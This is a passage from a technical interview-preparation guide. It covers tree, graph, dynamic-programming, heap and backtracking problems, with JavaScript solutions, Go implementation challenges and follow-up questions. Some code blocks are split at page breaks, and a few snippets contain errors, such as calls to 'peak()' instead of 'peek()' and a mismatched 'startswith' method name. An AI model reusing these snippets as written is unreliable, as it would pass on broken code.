        const node = new TreeNode(+vals[i++]);
        node.left = build(); node.right = build();
        return node;
    }
    return build();
}

```

Comparison:

BFS output is more "readable" (level by level). DFS is simpler code and handles unbalanced trees more efficiently (no trailing nulls for deep left-skewed trees). DFS uses $O(h)$ stack space (h = height), BFS uses $O(w)$ queue space (w = max width).

IMPLEMENTATION CHALLENGE

Serialize and deserialize an N-ary tree (each node has 0 to N children). Design your own encoding format. Also implement: clone a graph (DFS with visited map to handle cycles). The graph clone must handle: disconnected components, self-loops, and the same node appearing via multiple paths.

Constraints: N-ary serialization must be unambiguous (the number of children must be encoded, not inferred); graph clone in $O(V+E)$ time; use a map[*Node]*Node to track visited nodes.

FOLLOW-UP PROBES

1. Your serialization is 'null' for missing nodes. What if node values can themselves be the string 'null'? How do you make your format unambiguous?
2. BFS serialization of a perfectly balanced tree with 1 million nodes. How much memory does the queue use at peak? What about a right-skewed tree (linked list)?
3. Can you serialize a BST more efficiently than a general binary tree? What information can you omit?
4. You're serializing the tree to send over a network. The format must be compact. Compare JSON, Protobuf, and your custom CSV format for this tree representation.

[M] Mid DSA & Algorithms > Trees

Q12: Find the Lowest Common Ancestor (LCA) of two nodes in a binary tree. Handle BST variant and general binary tree variant.

ANSWER

LCA in a BST:

Take advantage of BST property: $\text{left} < \text{root} < \text{right}$.

- If both p and q are less than root: LCA is in left subtree
- If both p and q are greater than root: LCA is in right subtree
- Otherwise (root is between them, or root is one of them): root IS the LCA

```

function lcaBST(root, p, q) {
    if (p.val < root.val && q.val < root.val) return lcaBST(root.left, p, q);
    if (p.val > root.val && q.val > root.val) return lcaBST(root.right, p, q);
    return root; // root is LCA
}

```

Iterative version ($O(h)$ time, $O(1)$ space):

```

function lcaBSTIter(root, p, q) {
    while (root) {
        if (p.val < root.val && q.val < root.val) root = root.left;
    }
}

```

```

    else if (p.val > root.val && q.val > root.val) root = root.right;
    else return root;
  }
}

```

LCA in a General Binary Tree:

Recursive DFS: return the node if it's p or q. At each node, recurse left and right. If both return non-null, this node is the LCA. If only one returns non-null, propagate that upward.

```

function lcaGeneral(root, p, q) {
  if (!root || root === p || root === q) return root;
  const left = lcaGeneral(root.left, p, q);
  const right = lcaGeneral(root.right, p, q);
  if (left && right) return root; // p in one subtree, q in the other
  return left || right; // both in same subtree, or one not found
}

```

Time: $O(n)$, Space: $O(h)$.

Key Insight for general tree: We propagate "found" signals up the tree. If a node finds p in its left subtree and q in its right (or vice versa), it IS the LCA. If it finds both in the same subtree, that subtree's result propagates up.

Edge cases:

- p is an ancestor of q: the algorithm correctly returns p (we return early when we find p, and q will be found in p's subtree — but since we already returned p, q's signal never makes it back up)
- p or q not in tree: careful — the naive algorithm returns a node even if only one is found. Add a "found both" flag if needed.

IMPLEMENTATION CHALLENGE

Implement LCA for an N-ary tree. Then solve: given a binary tree and a target sum, find all root-to-leaf paths that sum to target. Return the actual paths (list of node values).

Path Sum DFS:

- Track current path (list) and remaining sum
- At leaf: if remaining == 0, add copy of current path to results
- Backtrack: remove last element after returning from recursion

Constraints: path sum must handle negative values in the tree (can't prune early); LCA of N-ary tree must handle N up to 1000 children per node; both must work iteratively (no recursion — convert with explicit stack).

FOLLOW-UP PROBES

1. LCA of general binary tree: p = node with value 5, q = node with value 1. The tree has no duplicates. But what if duplicates exist? Does your algorithm still work?
2. Binary Lifting for LCA with many queries: you need to answer 100K LCA queries on the same tree. Precompute ancestors to answer each in $O(\log n)$. Describe the approach.
3. LCA in a graph (not tree — there can be cycles). Does your tree algorithm work? What's the correct approach for a DAG?
4. Find the distance between two nodes in a binary tree using LCA. If LCA is at depth d, p at depth dp , q at depth dq : distance = $dp + dq - 2d$. Implement this.

[A] **Advanced** DSA & Algorithms > Trees

Q13: Implement a Trie (prefix tree) with insert, search, and startsWith. Extend to: autocomplete (return all words with given prefix), and wildcard search (. matches any character).

ANSWER

Basic Trie:

```

class TrieNode {
  constructor() { this.children = {}; this.isEnd = false; }
}

class Trie {
  constructor() { this.root = new TrieNode(); }

  insert(word) {
    let node = this.root;
    for (const c of word) {
      if (!node.children[c]) node.children[c] = new TrieNode();
      node = node.children[c];
    }
    node.isEnd = true;
  }

  search(word) {
    let node = this.root;
    for (const c of word) {
      if (!node.children[c]) return false;
      node = node.children[c];
    }
    return node.isEnd;
  }

  startswith(prefix) {
    let node = this.root;
    for (const c of prefix) {
      if (!node.children[c]) return false;
      node = node.children[c];
    }
    return true; // reached the prefix end node
  }
}

```

Autocomplete (return all words with given prefix):

After navigating to the prefix node, DFS/BFS all paths from there and collect words marked with isEnd.

```

autocomplete(prefix) {
  let node = this.root;
  for (const c of prefix) {
    if (!node.children[c]) return [];
    node = node.children[c];
  }
  const results = [];
  this._dfs(node, prefix, results);
  return results;
}

_dfs(node, current, results) {
  if (node.isEnd) results.push(current);
  for (const [c, child] of Object.entries(node.children))
    this._dfs(child, current + c, results);
}

```

Wildcard Search (. matches any char):

When we see '.', recurse into ALL children:

```

_searchHelper(node, word, i) {
  if (i === word.length) return node.isEnd;
  const c = word[i];
  if (c === '.') {
    for (const child of Object.values(node.children))
      if (this._searchHelper(child, word, i+1)) return true;
  }
}

```

```
        return false;
    }
    if (!node.children[c]) return false;
    return this._searchHelper(node.children[c], word, i+1);
}
```

Memory optimization: Use array of 26 instead of object for lowercase letters (fixed overhead, faster access). Or compressed trie (Patricia trie): merge nodes with single children into one edge with a string label.

Backend use cases: autocomplete search (your Deepta AI university search), IP routing tables (longest prefix match), spell checking, DNS resolution, URL routing in API gateways.

IMPLEMENTATION CHALLENGE

Implement a memory-efficient Trie in Go for your Deepta AI university autocomplete:

- TrieNode struct { children [26]*TrieNode; isEnd bool; count int } (count = how many words pass through this node)
- Insert(word string)
- Search(word string) bool
- StartsWith(prefix string) bool
- Autocomplete(prefix string, limit int) []string: return top-limit words alphabetically
- Delete(word string) bool: remove word but leave other words intact; prune nodes with count==0
- WordCount(prefix string) int: how many words in trie start with given prefix (use count field)

Test: insert 1M university names, autocomplete for common prefixes in < 1ms, verify Delete doesn't break other words sharing the prefix.

FOLLOW-UP PROBES

1. Trie with 1M words, each up to 20 chars. Memory usage: each node has 26 children pointers = 26×8 bytes = 208 bytes per node. Estimate worst-case memory.
2. Your autocomplete must return results ranked by frequency (how often users searched for that university). How do you modify the Trie?
3. A user searches 'mit' — your Trie returns 'MIT', 'Mitsubishi University'. Should autocomplete be case-insensitive? How do you handle it?
4. Compressed Trie (Radix Tree): instead of one node per character, compress chains into a single edge with a string label. When is this more efficient and when is it worse?

[M] Mid DSA & Algorithms > Graphs

Q14: Implement topological sort using Kahn's algorithm (BFS) and DFS-based approach. Detect cycles. Real-world use: dependency resolution.

ANSWER

Topological Sort: Linear ordering of vertices such that for every directed edge $u \rightarrow v$, u comes before v . Only valid for Directed Acyclic Graphs (DAGs).

Applications: Build systems (compile A before B), task scheduling, course prerequisites, Kafka topic dependency chains.

Kahn's Algorithm (BFS-based):

1. Compute in-degree (number of incoming edges) for all nodes
2. Add all nodes with in-degree 0 to a queue

3. Process queue: pop node, add to result, decrement in-degree of its neighbors; if neighbor's in-degree becomes 0, add to queue
4. If result has fewer nodes than the graph: there's a cycle

```
function topologicalSort(numNodes, edges) {
  const adj = Array.from({length: numNodes}, () => []);
  const inDegree = new Array(numNodes).fill(0);

  for (const [u, v] of edges) { adj[u].push(v); inDegree[v]++; }

  const queue = [];
  for (let i = 0; i < numNodes; i++) if (inDegree[i] === 0) queue.push(i);

  const result = [];
  while (queue.length) {
    const node = queue.shift();
    result.push(node);
    for (const neighbor of adj[node]) {
      if (--inDegree[neighbor] === 0) queue.push(neighbor);
    }
  }
  return result.length === numNodes ? result : null; // null = cycle detected
}
```

DFS-based Topological Sort:

Post-order DFS: visit a node, recurse its neighbors, add to result AFTER recursion. Reverse the result.

Cycle detection: use three states — 0 (unvisited), 1 (in current DFS path = grey), 2 (done = black).

If we visit a grey node: back edge → cycle.

```
function topologicalDFS(numNodes, edges) {
  const adj = Array.from({length: numNodes}, () => []);
  for (const [u, v] of edges) adj[u].push(v);
  const state = new Array(numNodes).fill(0), result = [];

  function dfs(node) {
    if (state[node] === 1) return false; // cycle
    if (state[node] === 2) return true; // already processed
    state[node] = 1;
    for (const neighbor of adj[node]) if (!dfs(neighbor)) return false;
    state[node] = 2;
    result.push(node);
    return true;
  }

  for (let i = 0; i < numNodes; i++) if (state[i] === 0 && !dfs(i)) return null;
  return result.reverse();
}
```

IMPLEMENTATION CHALLENGE

Implement dependency resolution for your Deepta AI microservice deployment system:

Given a list of microservices and their dependencies (service A must start before service B), compute the valid deployment order. Handle:

- Circular dependencies (return error with the cycle path)
- Multiple independent services that can deploy in parallel (return levels: all services in a level can be deployed simultaneously)
- Services with no dependencies deploy first

Parallel deployment levels (multi-source BFS):

- Level 0: all services with in-degree 0

- Level 1: services whose in-degree becomes 0 after removing level 0
- Continue until all deployed

Return `string[]` where each inner slice is a set of services that can be deployed in parallel.

FOLLOW-UP PROBES

1. Course Schedule II: given n courses and prerequisites, return the order to take all courses (or `[]` if impossible). How does this map directly to topological sort?
2. In Kahn's algorithm, if you use a MAX-HEAP instead of a regular queue, what changes about the output? (Lexicographically largest topological order)
3. Your microservice dependency graph has 10,000 services. Kahn's uses `queue.shift()` which is $O(n)$ for arrays. What data structure gives $O(1)$ dequeue?
4. Given a topological ordering, how do you verify it's correct in $O(V+E)$ time?

[A] Advanced *DSA & Algorithms > Graphs*

Q15: Implement Dijkstra's algorithm for shortest path. Compare with Bellman-Ford. When does each fail?

ANSWER

Dijkstra's Algorithm (non-negative weights):

Greedy: always expand the unvisited node with the smallest known distance.

Use a min-heap (priority queue) for $O((V+E) \log V)$ time.

```
function dijkstra(graph, start) {
  // graph: Map of node -> [{neighbor, weight}]
  const dist = new Map();
  const heap = new MinHeap((a,b) => a[0]-b[0]); // [distance, node]

  for (const node of graph.keys()) dist.set(node, Infinity);
  dist.set(start, 0);
  heap.push([0, start]);

  while (!heap.isEmpty()) {
    const [d, node] = heap.pop();
    if (d > dist.get(node)) continue; // outdated entry (lazy deletion)

    for (const [neighbor, weight] of graph.get(node)) {
      const newDist = d + weight;
      if (newDist < dist.get(neighbor)) {
        dist.set(neighbor, newDist);
        heap.push([newDist, neighbor]);
      }
    }
  }
  return dist;
}
```

Why Dijkstra fails with negative weights:

Dijkstra's greedy assumption: once a node is settled (popped from heap), its distance is final. With negative edges, a later path (through a negative edge) could improve the distance of an already-settled node. The algorithm doesn't re-process settled nodes, so it gives wrong answers.

Bellman-Ford (handles negative weights):

Relax ALL edges $V-1$ times. Any valid shortest path has at most $V-1$ edges.

After $V-1$ iterations, do one more pass: if any edge can still be relaxed, there's a negative cycle.

Time: $O(V \times E)$ — much slower than Dijkstra.

```
function bellmanFord(nodes, edges, start) {
  const dist = new Map();
  for (const n of nodes) dist.set(n, Infinity);
  dist.set(start, 0);

  for (let i = 0; i < nodes.length - 1; i++) {
    for (const [u, v, w] of edges) {
      if (dist.get(u) + w < dist.get(v)) dist.set(v, dist.get(u) + w);
    }
  }
  // Negative cycle detection
  for (const [u, v, w] of edges) {
    if (dist.get(u) + w < dist.get(v)) return null; // negative cycle
  }
  return dist;
}
```

Summary:

Dijkstra	Bellman-Ford	
Time	$O((V+E) \log V)$	$O(V \times E)$
Negative weights	No	Yes
Negative cycles	Cannot detect	Detects
Best for	Road maps, game graphs	Financial graphs (arbitrage), general graphs

IMPLEMENTATION CHALLENGE

Implement shortest path for a real-world use case: given your Deepta AI GKE cluster topology (services as nodes, latency as edge weights), find the minimum latency path from the API Gateway to each microservice. Use Dijkstra.

Go implementation using container/heap:

- Graph: adjacency list as `map[string][]Edge` where Edge struct {To string; Weight int}
- `Dijkstra(graph Graph, start string) map[string]int`
- Also return the path (not just distances): track `previous[node]` and reconstruct path from start to any destination

Extension: add negative weights (e.g., a "priority boost" for certain paths). Dijkstra breaks — switch to Bellman-Ford. Implement both and verify Dijkstra gives wrong answer with negative weight.

FOLLOW-UP PROBES

1. Dijkstra with a Fibonacci Heap is $O(V \log V + E)$. When does this matter vs a binary heap implementation?
2. Your graph has 10,000 nodes but is very sparse (100 edges total). Which is better: Dijkstra or Floyd-Warshall (all-pairs shortest path)?
3. Find the path with maximum minimum weight (widest path — maximize the minimum edge weight on the path). How does this differ from shortest path?
4. Network delay time: given a network of n nodes, find the time it takes for a signal from node k to reach all nodes. How does this directly map to Dijkstra?

[A] **Advanced** DSA & Algorithms > Graphs

Q16: Implement Union-Find (Disjoint Set Union) with path compression and union by rank.
Apply to: detect cycle in undirected graph, and number of connected components.

ANSWER

Union-Find (DSU): Data structure that efficiently tracks which elements are in the same set (connected component). Two operations: Find (which set?) and Union (merge two sets).

Naive Implementation: $O(n)$ per operation in worst case.

Optimizations:

- 1. Union by Rank:** Always attach the smaller tree under the larger tree's root (by rank/size). Prevents skewed trees. Without this, chains form $\rightarrow O(n)$ Find.
- 2. Path Compression:** When finding root, make every node on the path point directly to the root. Next Find on same node is $O(1)$.

Combined: $O(\alpha(n))$ per operation where α is the inverse Ackermann function — essentially $O(1)$ for all practical n .

```
class UnionFind {
  constructor(n) {
    this.parent = Array.from({length: n}, (_, i) => i); // each node is its own root
    this.rank = new Array(n).fill(0);
    this.components = n;
  }

  find(x) { // path compression
    if (this.parent[x] !== x) this.parent[x] = this.find(this.parent[x]);
    return this.parent[x];
  }

  union(x, y) { // union by rank
    const px = this.find(x), py = this.find(y);
    if (px === py) return false; // already in same component
    if (this.rank[px] < this.rank[py]) this.parent[px] = py;
    else if (this.rank[px] > this.rank[py]) this.parent[py] = px;
    else { this.parent[py] = px; this.rank[px]++; }
    this.components--;
    return true;
  }

  connected(x, y) { return this.find(x) === this.find(y); }
}
```

Cycle Detection in Undirected Graph:

For each edge (u, v) : if $\text{find}(u) == \text{find}(v)$, adding this edge creates a cycle. Otherwise, $\text{union}(u, v)$.

Number of Connected Components:

Initialize with n components. Each successful union decrements components. At end, `this.components` = number of connected components.

Minimum Spanning Tree (Kruskal's):

Sort all edges by weight. For each edge (u, v, w) : if not connected, union them and add edge to MST. Result is MST. $O(E \log E)$ for sort + near- $O(E)$ for union-find.

IMPLEMENTATION CHALLENGE

Implement DSU in Go and apply it to:

- 1. Number of Islands:** given a 2D grid of '1' and '0', count islands. Use DSU where each '1' cell is a node; union adjacent '1' cells; return component count.
- 2. Accounts Merge:** given list of accounts (name + emails), merge accounts that share an email. DSU on emails: union all emails of the same account; group by root email.

For Accounts Merge:

- email_to_id map: assign each unique email an integer ID
- DSU on email IDs
- For each account: union all emails together (all point to same component)
- Group by root → result

Constraints: Number of Islands must handle a 1000×1000 grid efficiently; Accounts Merge must handle 100K accounts with 1M unique emails.

FOLLOW-UP PROBES

1. Path compression mutates the parent array. In a multi-threaded context (like your Go microservices), how do you make DSU thread-safe?
2. DSU with rollback (undo the last union): path compression makes rollback hard. How do you implement DSU that supports rollback? (Hint: union by rank without path compression + a history stack)
3. Kruskal's vs Prim's for MST: when do you prefer each? What's the complexity comparison?
4. Dynamic connectivity: edges are both added AND removed. Standard DSU can only add. What data structure handles deletions? (Hint: offline algorithm with divide and conquer)

[M] Mid DSA & Algorithms › Dynamic Programming

Q17: Explain the knapsack problem variants: 0/1 knapsack, unbounded knapsack, and fractional knapsack. Implement 0/1 with bottom-up DP.

ANSWER

0/1 Knapsack: Each item can be taken at most once. Classic DP.

State: $dp[i][w]$ = max value using first i items with capacity w .

Recurrence:

- Don't take item i : $dp[i][w] = dp[i-1][w]$
- Take item i (if $weight[i] \leq w$): $dp[i][w] = dp[i-1][w-weight[i]] + value[i]$
- $dp[i][w] = \max$ of the two

```
function knapsack01(weights, values, W) {
  const n = weights.length;
  const dp = Array.from({length: n+1}, () => new Array(W+1).fill(0));

  for (let i = 1; i <= n; i++) {
    for (let w = 0; w <= W; w++) {
      dp[i][w] = dp[i-1][w]; // don't take
      if (weights[i-1] <= w)
        dp[i][w] = Math.max(dp[i][w], dp[i-1][w-weights[i-1]] + values[i-1]);
    }
  }
  return dp[n][W];
}
```

Time: $O(n \times W)$, Space: $O(n \times W)$. Optimize to $O(W)$ space: use 1D array, iterate w from W down to $weight[i]$ (to avoid using the item twice).

```
function knapsack01Optimized(weights, values, W) {
  const dp = new Array(W+1).fill(0);
  for (let i = 0; i < weights.length; i++) {
    for (let w = W; w >= weights[i]; w--) { // MUST go right to left
      dp[w] = Math.max(dp[w], dp[w-weights[i]] + values[i]);
    }
  }
  return dp[W];
}
```

Why right-to-left? We need $dp[w - weights[i]]$ to refer to the PREVIOUS item's row (before item i was considered). Going left-to-right would use updated values (effectively allowing item i to be used multiple times → unbounded knapsack).

Unbounded Knapsack: Each item can be taken multiple times.

Same DP but iterate w LEFT TO RIGHT (allow using item i again for the same row).

Fractional Knapsack: Can take fractions of items. Greedy: sort by value/weight ratio, take highest ratio first. $O(n \log n)$. DP not needed — greedy is optimal because we can take exact fractions.

Real-world use at Deepta AI: Resource allocation (which university integrations to build given engineering bandwidth), feature prioritization, cloud cost optimization.

IMPLEMENTATION CHALLENGE

Implement these DP variants in Go and apply them to a real Deepta AI scenario:

0/1 Knapsack: given N student applications to review, each with a `review_time` (weight) and `importance_score` (value), and a daily `review_budget` of hours (W), maximize the total importance score reviewed today.

Reconstruct which applications to review (not just the max value — trace back through the DP table).

Coin Change (unbounded knapsack variant): given coin denominations, find the minimum number of coins to make amount. $dp[amount] = \min \text{ coins}$. Then: count the number of distinct ways to make the amount.

Constraints: knapsack reconstruction must return the actual items selected; coin change must handle impossible cases (return -1); test with edge cases: $W=0$, no items, single item exceeding capacity.

FOLLOW-UP PROBES

1. 0/1 Knapsack with $n=100$ items and $W=1,000,000$. The 2D DP array is $100 \times 1M = 100M$ entries. What do you do?
2. Partition Equal Subset Sum: given an array, can it be partitioned into two subsets with equal sum? How is this a 0/1 knapsack problem?
3. Coin Change 2 (count ways): `coins = [1,2,5]`, `amount = 5` → 4 ways. Why does the order of loops (outer=`coins`, inner=`amount`) matter vs (outer=`amount`, inner=`coins`)?
4. Your knapsack DP has $O(nW)$ time. What if W is huge (10^9) but n is small (10)? Is there a better approach?

[A] **Advanced** DSA & Algorithms > Dynamic Programming

Q18: Implement Longest Common Subsequence (LCS), Longest Increasing Subsequence (LIS), and Edit Distance. These underpin diff algorithms, DNA matching, and spell checkers.

ANSWER

LCS (Longest Common Subsequence):

Two strings s and t . A subsequence doesn't require contiguous characters.

State: $dp[i][j]$ = LCS length of $s[0..i-1]$ and $t[0..j-1]$.

Recurrence:

- If $s[i-1] == t[j-1]$: $dp[i][j] = dp[i-1][j-1] + 1$
- Else: $dp[i][j] = \max(dp[i-1][j], dp[i][j-1])$

Time: $O(m \times n)$, Space: $O(m \times n)$, optimizable to $O(\min(m, n))$.

LIS (Longest Increasing Subsequence):

$O(n^2)$ DP: $dp[i]$ = LIS ending at index i . $dp[i] = \max(dp[j] + 1 \text{ for all } j < i \text{ where } nums[j] < nums[i])$.

$O(n \log n)$ — Patience Sorting / Binary Search:

Maintain a "tails" array where $\text{tails}[i]$ = smallest tail element of all increasing subsequences of length $i+1$.

For each num: binary search for the first tail $\geq$ num $\rightarrow$ replace it with num. If num $>$ all tails: extend. Length of tails = LIS length.

```
function lisLength(nums) {
  const tails = [];
  for (const num of nums) {
    let lo = 0, hi = tails.length;
    while (lo < hi) { const mid = (lo+hi)>>1; if (tails[mid] < num) lo = mid+1; else hi = mid; }
    tails[lo] = num; // replace or extend
  }
  return tails.length;
}
```

Edit Distance (Levenshtein Distance):

Min operations (insert, delete, replace) to transform s to t.

State: $\text{dp}[i][j]$ = edit distance for $s[0..i-1]$ and $t[0..j-1]$.

Recurrence:

- If $s[i-1] == t[j-1]$: $\text{dp}[i][j] = \text{dp}[i-1][j-1]$ (no operation needed)
- Else: $\text{dp}[i][j] = 1 + \min(\text{dp}[i-1][j], \text{dp}[i][j-1], \text{dp}[i-1][j-1])$
 - $\text{dp}[i-1][j]$, // delete from s
 - $\text{dp}[i][j-1]$, // insert into s
 - $\text{dp}[i-1][j-1]$ // replace in s

```
function editDistance(s, t) {
  const m = s.length, n = t.length;
  const dp = Array.from({length: m+1}, (_, i) => Array.from({length: n+1}, (_, j) => i || j));
  // dp[i][0] = i (delete all), dp[0][j] = j (insert all)
  for (let i = 1; i <= m; i++)
    for (let j = 1; j <= n; j++)
      dp[i][j] = s[i-1] === t[j-1] ? dp[i-1][j-1] : 1 + Math.min(dp[i-1][j], dp[i][j-1], dp[i-1][j-1]);
  return dp[m][n];
}
```

IMPLEMENTATION CHALLENGE

Implement all three in Go. Then build a real-world application:

Spell Checker: given a dictionary of valid words and a misspelled word, return the top-3 closest words by edit distance. Optimization: early termination if edit distance $>$ threshold (3); prune words of very different lengths ($|\text{len}(s) - \text{len}(t)| > \text{threshold} \rightarrow \text{skip}$); use the $O(n)$ space optimization for edit distance (rolling two rows).

Also implement: Longest Palindromic Subsequence (use LCS of s and reverse(s)). Minimum insertions to make a string palindrome (answer = $n - \text{LPS length}$).

Constraints: spell checker must handle a 100K word dictionary in $< 100\text{ms}$; $O(n)$ space edit distance; both LCS and edit distance must handle Unicode strings (not just ASCII).

FOLLOW-UP PROBES

1. Edit distance between 'saturday' and 'sunday': what does the DP table look like for the diagonal (match) and off-diagonal (mismatch) entries?
2. LIS: you have the length but need the actual sequence. How do you reconstruct it? (Patience sorting makes reconstruction harder than the $O(n^2)$ DP — explain why)
3. Edit distance with different operation costs: replace costs 2, insert/delete cost 1. How does the recurrence change?
4. Diff algorithm (like git diff): uses LCS to find the longest common subsequence between two file versions, then marks additions and deletions. How would you implement a basic text diff using your LCS solution?

[A] Advanced DSA & Algorithms > Dynamic Programming**Q19: Solve the Coin Change and Rod Cutting problems. Then explain interval DP with Matrix Chain Multiplication.****ANSWER****Coin Change (minimum coins):**

dp[amount] = minimum coins to make 'amount'. Base case: dp[0] = 0, all others = Infinity.

For each amount from 1 to target: for each coin: dp[amount] = min(dp[amount], dp[amount-coin]+1).

Time: O(amount × coins), Space: O(amount).

Rod Cutting:

A rod of length n; prices[i] = price of rod of length i. Cut rod into pieces to maximize profit.

This is unbounded knapsack: dp[l] = max profit for rod of length l.

For each length l from 1 to n: for each cut i from 1 to l: dp[l] = max(dp[l], prices[i] + dp[l-i]).

Interval DP — Matrix Chain Multiplication:

Given n matrices, find the optimal parenthesization to minimize scalar multiplications.

Key insight: define dp[i][j] = min cost to multiply matrices from i to j.

For each split point k from i to j-1:

dp[i][j] = min(dp[i][k] + dp[k+1][j] + dims[i-1] × dims[k] × dims[j])

Fill by increasing length of interval (length 1 → length n).

```
function matrixChainOrder(dims) {
  const n = dims.length - 1; // number of matrices
  const dp = Array.from({length: n}, () => new Array(n).fill(0));

  for (let len = 2; len <= n; len++) { // interval length
    for (let i = 0; i <= n - len; i++) {
      const j = i + len - 1;
      dp[i][j] = Infinity;
      for (let k = i; k < j; k++) {
        const cost = dp[i][k] + dp[k+1][j] + dims[i] * dims[k+1] * dims[j+1];
        dp[i][j] = Math.min(dp[i][j], cost);
      }
    }
  }
  return dp[0][n-1];
}
```

Time: O(n³), Space: O(n²).**Interval DP Pattern:** Problems where the solution for an interval [i,j] depends on splitting at some k, combining solutions for [i,k] and [k+1,j]. Other examples: Burst Balloons, Minimum Cost to Merge Stones, Palindrome Partitioning.**IMPLEMENTATION CHALLENGE**

Implement in Go:

1. Coin Change II: count number of distinct ways to make amount (combination, not permutation — order doesn't matter). Outer loop over coins, inner loop over amounts.
2. Burst Balloons: given n balloons with values, burst all of them to maximize coins. When you burst balloon i, you get nums[left]*nums[i]*nums[right]. Interval DP: dp[i][j] = max coins from bursting all balloons between i and j (treat i and j as boundaries, not burst).

3. Palindrome Partitioning II: minimum cuts to partition a string into palindromes.

Constraints: Burst Balloons in $O(n^3)$; Palindrome Partitioning in $O(n^2)$ using pre-computed palindrome check table; all implementations must handle empty input and single-element cases.

FOLLOW-UP PROBES

1. Coin Change II: why does outer-loop-coins, inner-loop-amounts give combinations, while outer-loop-amounts, inner-loop-coins gives permutations?
2. Burst Balloons: why do we consider balloon i as the LAST to burst in interval $[left, right]$, not the first?
3. Matrix Chain Multiplication: what does $dp[i][i] = 0$ represent? What does it mean to multiply a single matrix?
4. Interval DP for Minimum Cost to Merge Stones: k piles can be merged at cost = sum of merged piles. Find minimum total cost. When is this solvable with DP and when isn't it?

[M] Mid DSA & Algorithms > Heaps

Q20: Find the Kth largest element in an array. Find the Kth largest in a stream. Design a MedianFinder that supports streaming input.

ANSWER**Kth Largest in Array:**

- Sort: $O(n \log n)$ — overkill
- Quick Select: $O(n)$ average, $O(n^2)$ worst case (like QuickSort, pick a pivot, partition)
- Min-Heap of size K : $O(n \log K)$ — push each element; if heap size $> K$, pop the min; the top is the Kth largest.

```
function findKthLargest(nums, k) {
  const minHeap = new MinHeap();
  for (const num of nums) {
    minHeap.push(num);
    if (minHeap.size() > k) minHeap.pop(); // remove smallest
  }
  return minHeap.peek(); // top of min-heap = Kth largest
}
```

$O(n \log K)$ time, $O(K)$ space. Better than sorting when $K \ll n$.

Kth Largest in a Stream:

Same min-heap of size K approach. On each new element: push to heap, if size $> K$ pop the min, return `heap.peek()`.

The heap maintains the K largest elements seen so far; the minimum of those K is the Kth largest.

MedianFinder (streaming median):

Two heaps: `maxHeap` (left half, max at top) and `minHeap` (right half, min at top).

Invariant: `maxHeap.size >= minHeap.size` and `maxHeap.size - minHeap.size <= 1`.

Every element in `maxHeap` $\leq$ every element in `minHeap`.

Median: if sizes equal $\rightarrow (\text{maxHeap.peek()} + \text{minHeap.peek()}) / 2$; else $\rightarrow \text{maxHeap.peek()}$.

`addNum(num)`:

1. Push to `maxHeap`
2. If `maxHeap.peek() > minHeap.peek()` (top of left $>$ bottom of right): move `maxHeap.peek()` to `minHeap`
3. If `minHeap.size > maxHeap.size`: move `minHeap.peek()` to `maxHeap`

```

class MedianFinder {
    constructor() { this.low = new MaxHeap(); this.high = new MinHeap(); }

    addNum(num) {
        this.low.push(num);
        this.high.push(this.low.pop()); // balance: push to low, move max to high
        if (this.low.size() < this.high.size()) this.low.push(this.high.pop());
    }

    findMedian() {
        return this.low.size() > this.high.size()
            ? this.low.peak()
            : (this.low.peak() + this.high.peak()) / 2;
    }
}

```

Each addNum: $O(\log n)$. findMedian: $O(1)$.

Backend relevance: Real-time analytics (median latency of your Deepta AI API, p50 request time), sliding window statistics, finance (median trade price).

IMPLEMENTATION CHALLENGE

Implement in Go using container/heap:

1. KthLargest class: constructor(k int, nums []int), Add(val int) int — for streaming Kth largest
2. MedianFinder: AddNum(num float64), FindMedian() float64
3. Top K Frequent Elements: given array, return K most frequent elements. Approach: frequency map + min-heap of size K (heap by frequency), or bucket sort ($O(n)$).

For your Deepta AI API monitoring: implement a P99LatencyTracker that:

- Accepts incoming request latencies
- Returns the 99th percentile latency at any point
- Updates in $O(\log n)$ per new data point
- Uses a sorted structure (not just two heaps — P99 is harder than median)

Hint: Use an order-statistics tree (Go's btree library or a skip list) for $O(\log n)$ rank queries.

FOLLOW-UP PROBES

1. Quick Select for Kth largest: average $O(n)$ but worst case $O(n^2)$. How do you guarantee $O(n)$ worst case? (Median of medians)
2. MedianFinder: after 1 million insertions, both heaps have ~500K elements. What's the memory usage vs just keeping a sorted array?
3. Sliding window median: find the median of every K-element window in $O(n \log K)$. How do you handle the removal of the outgoing element from your two-heap structure?
4. P99 latency with 1 billion historical data points, updated 1000 times/second. You can't store all data. How do you approximate P99 using HyperLogLog or t-digest?

[A] **Advanced** DSA & Algorithms > Backtracking

Q21: Implement N-Queens and Sudoku Solver using backtracking. What pruning strategies make these feasible?

ANSWER

N-Queens:

Place N queens on an $N \times N$ chessboard so no two queens attack each other (no same row, column, or diagonal).

Backtracking: place one queen per row. For each row, try each column. Check if placement is safe. If safe, recurse to next row. Backtrack if stuck.

Safety check in O(1) using sets:

```
function solveNQueens(n) {
  const cols = new Set(), diag1 = new Set(), diag2 = new Set();
  const board = Array.from({length: n}, () => new Array(n).fill('.'));
  const results = [];

  function backtrack(row) {
    if (row === n) { results.push(board.map(r => r.join(''))); return; }
    for (let col = 0; col < n; col++) {
      if (cols.has(col) || diag1.has(row-col) || diag2.has(row+col)) continue;
      cols.add(col); diag1.add(row-col); diag2.add(row+col);
      board[row][col] = 'Q';
      backtrack(row + 1);
      cols.delete(col); diag1.delete(row-col); diag2.delete(row+col);
      board[row][col] = '.';
    }
  }
  backtrack(0);
  return results;
}
```

Diagonal check: row-col is constant for '/' diagonals, row+col for '\' diagonals.

Pruning: constraint propagation — when placing a queen, immediately mark its row, col, diagonals as invalid. This is implicit in the set-based O(1) check.

Sudoku Solver:

Fill a 9×9 grid with digits 1-9 so each row, column, and 3×3 box contains all digits exactly once.

```
function solveSudoku(board) {
  const rows = Array.from({length:9}, () => new Set());
  const cols = Array.from({length:9}, () => new Set());
  const boxes = Array.from({length:9}, () => new Set());

  // Initialize constraint sets
  for (let r = 0; r < 9; r++) for (let c = 0; c < 9; c++) {
    if (board[r][c] !== '.') {
      const n = board[r][c];
      rows[r].add(n); cols[c].add(n); boxes[~~(r/3)*3+~~(c/3)].add(n);
    }
  }

  function solve() {
    for (let r = 0; r < 9; r++) for (let c = 0; c < 9; c++) {
      if (board[r][c] !== '.') continue;
      const box = ~~(r/3)*3+~~(c/3);
      for (let d = 1; d <= 9; d++) {
        const n = String(d);
        if (rows[r].has(n) || cols[c].has(n) || boxes[box].has(n)) continue;
        board[r][c] = n; rows[r].add(n); cols[c].add(n); boxes[box].add(n);
        if (solve()) return true;
        board[r][c] = '.'; rows[r].delete(n); cols[c].delete(n); boxes[box].delete(n);
      }
      return false; // no valid digit found
    }
    return true; // all cells filled
  }
  solve();
}
```

